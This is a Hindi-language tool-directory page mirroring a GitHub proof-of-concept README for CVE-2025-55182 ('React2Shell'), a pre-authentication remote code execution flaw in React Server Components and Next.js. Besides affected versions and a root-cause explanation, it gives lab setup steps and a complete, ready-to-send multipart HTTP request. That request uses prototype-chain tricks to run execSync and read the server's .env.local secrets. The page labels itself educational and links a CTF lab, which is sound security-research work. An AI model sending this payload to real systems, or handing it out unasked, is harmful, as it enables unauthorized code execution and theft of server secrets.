Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
poc-cve-2025-55182 — यह रिपॉज़िटरी CVE-2025-55182 का एक POC शामिल करती है, जो React Server Components को प्रभावित करने वाली एक गंभीर (CVSS स्कोर 10.0) pre-authentication remote code execution भेद्यता है, जिसे React2Shell के रूप में भी जाना जाता है। | Kitploit
उपकरण/GitHubGitHub/koadt/poc-cve-2025-55182
गतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubkoadt/poc-cve-2025-55182

poc-cve-2025-55182

15365 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

यह रिपॉज़िटरी CVE-2025-55182 का एक POC शामिल करती है, जो React Server Components को प्रभावित करने वाली एक गंभीर (CVSS स्कोर 10.0) pre-authentication remote code execution भेद्यता है, जिसे React2Shell के रूप में भी जाना जाता है।

रिपॉजिटरी देखेंवेबसाइट
साझा करें

CVE-2025-55182 (React2Shell) - प्रूफ ऑफ कॉन्सेप्ट

⚠️ चेतावनी: यह रिपॉज़िटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस एक्सप्लॉइट का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।

अवलोकन

इस रिपॉज़िटरी में CVE-2025-55182 का प्रूफ-ऑफ-कॉन्सेप्ट प्रदर्शन शामिल है, जो React Server Components को प्रभावित करने वाली एक गंभीर प्रमाणीकरण-पूर्व रिमोट कोड निष्पादन भेद्यता है।

CVSS स्कोर: 10.0 (क्रिटिकल)

प्रभावित संस्करण:

  • React Server Components 19.0.0, 19.1.0, 19.1.1, और 19.2.0
  • पैकेज: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

भेद्यता सारांश

CVE-2025-55182, React Server Components के फ्लाइट प्रोटोकॉल कार्यान्वयन में एक असुरक्षित डी-सीरियलाइज़ेशन भेद्यता है। यह भेद्यता अप्रमाणित हमलावरों को दुर्भावनापूर्ण पेलोड तैयार करके सर्वर पर मनमाना JavaScript कोड निष्पादित करने की अनुमति देती है, जो प्रोटोटाइप चेन ट्रैवर्सल और असुरक्षित प्रॉपर्टी एक्सेस पैटर्न का शोषण करते हैं।

मूल कारण

यह भेद्यता React Server Components द्वारा फ्लाइट प्रोटोकॉल पेलोड को डी-सीरियलाइज़ करने के तरीके से उत्पन्न होती है। मॉड्यूल संदर्भों को संसाधित करते समय, कोड प्रॉपर्टीज़ तक पहुँचने के लिए ब्रैकेट नोटेशन (moduleExports[metadata[2]]) का उपयोग करता है, जो पूरी JavaScript प्रोटोटाइप चेन को ट्रैवर्स करता है। यह हमलावरों को उन प्रॉपर्टीज़ को संदर्भित करने की अनुमति देता है जो स्पष्ट रूप से निर्यात नहीं की गई थीं, जिसमें constructor प्रॉपर्टी भी शामिल है, जो वैश्विक Function कंस्ट्रक्टर तक पहुँच प्रदान करती है।

प्रोटोटाइप पोल्यूशन तकनीकों को React की आंतरिक चंक प्रोसेसिंग तंत्रों के साथ जोड़कर, एक हमलावर ऐसा पेलोड तैयार कर सकता है जो अंततः Function कंस्ट्रक्टर के माध्यम से मनमाना कोड निष्पादित करता है।

पूर्वापेक्षाएँ

  • Burp Suite Community या Professional (या कोई भी HTTP प्रॉक्सी/क्लाइंट)
  • React.js या Next.js का कोई भेद्य संस्करण

सेटअप निर्देश

चरण 1: एक भेद्य प्रोजेक्ट बनाएं

निम्नलिखित संस्करण का उपयोग करके एक नया प्रोजेक्ट बनाएं जिसमें भेद्य React Server Components शामिल हों:

root@kitploit:~
npx [email protected] poc-react2shell
cd poc-react2shell

या उस रिपॉज़िटरी का उपयोग करें।

चरण 2: एक परीक्षण पर्यावरण फ़ाइल बनाएं

भेद्यता के प्रभाव को प्रदर्शित करने के लिए प्रोजेक्ट रूट में एक .env.local फ़ाइल बनाएं:

root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

चरण 3: डेवलपमेंट सर्वर प्रारंभ करें

Next.js डेवलपमेंट सर्वर लॉन्च करें:

root@kitploit:~
npm run dev

सर्वर http://localhost:3000 पर प्रारंभ होना चाहिए।

शोषण के चरण

चरण 4: दुर्भावनापूर्ण पेलोड भेजें

  1. Burp Suite में, Repeater टैब पर जाएं
  2. लक्ष्य URL को http://localhost:3000/ पर सेट करें
  3. पूरे पेलोड को कॉपी करके रिक्वेस्ट विंडो में पेस्ट करें
  4. भेजें
विस्तार के लिए क्लिक करें
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

चरण 5: प्रतिक्रिया का विश्लेषण करें

प्रतिक्रिया में आपकी .env.local फ़ाइल की सामग्री रिस्पॉन्स बॉडी में होनी चाहिए:

प्रतिक्रिया

पेलोड

पेलोड में तीन मल्टीपार्ट फ़ॉर्म फ़ील्ड होते हैं:

फ़ील्ड 0: एक नकली चंक ऑब्जेक्ट जिसमें शामिल है:

  • प्रोटोटाइप पोल्यूशन संदर्भ ($1:__proto__:then)
  • एक Blob संदर्भ ($B1337) जो एक्सप्लॉइट को ट्रिगर करता है
  • एक दूषित _response ऑब्जेक्ट जिसमें दुर्भावनापूर्ण _prefix और _formData.get है

फ़ील्ड 1: फ़ील्ड 0 का एक संदर्भ ($@0)

फ़ील्ड 2: एक खाली ऐरे ([])

_prefix में मौजूद दुर्भावनापूर्ण कोड Node.js के child_process.execSync का उपयोग करके .env.local को पढ़ता है और परिणाम को एरर डाइजेस्ट में एम्बेड करता है।

प्रभाव

यह भेद्यता हमलावरों को निम्न की अनुमति देती है:

  • सर्वर पर मनमाना कोड निष्पादित करना
  • संवेदनशील फ़ाइलें पढ़ना (पर्यावरण चर, कॉन्फ़िगरेशन फ़ाइलें, आदि)
  • रिवर्स शेल स्थापित करना
  • डेटा बाहर निकालना
  • कोई भी ऑपरेशन करना जिसे Node.js प्रक्रिया निष्पादित करने की अनुमति रखती है

संदर्भ

  • CVE-2025-55182 विवरण
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • React सुरक्षा सलाह
  • Facebook सुरक्षा सलाह
  • CISA ज्ञात शोषित भेद्यताएँ सूची
  • react2shellcve202555182

इस CVE का वास्तविक-विश्व परिदृश्य में अभ्यास करें

CVE-2025-55182 को हैंड्स-ऑन CTF वातावरण में एक्सप्लॉइट करना चाहते हैं? OSS OopsSec Store देखें, जो आक्रामक सुरक्षा प्रशिक्षण के लिए डिज़ाइन की गई एक जानबूझकर भेद्य प्रयोगशाला है। इस CVE को एक फ्लैग के रूप में लागू किया गया है!


अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक उद्देश्यों और सुरक्षा अनुसंधान के लिए प्रदान किया गया है। किसी भी प्रणाली पर सुरक्षा भेद्यताओं का परीक्षण करने से पहले हमेशा सुनिश्चित करें कि आपके पास स्पष्ट लिखित अनुमति है।

टूल डाउनलोड करें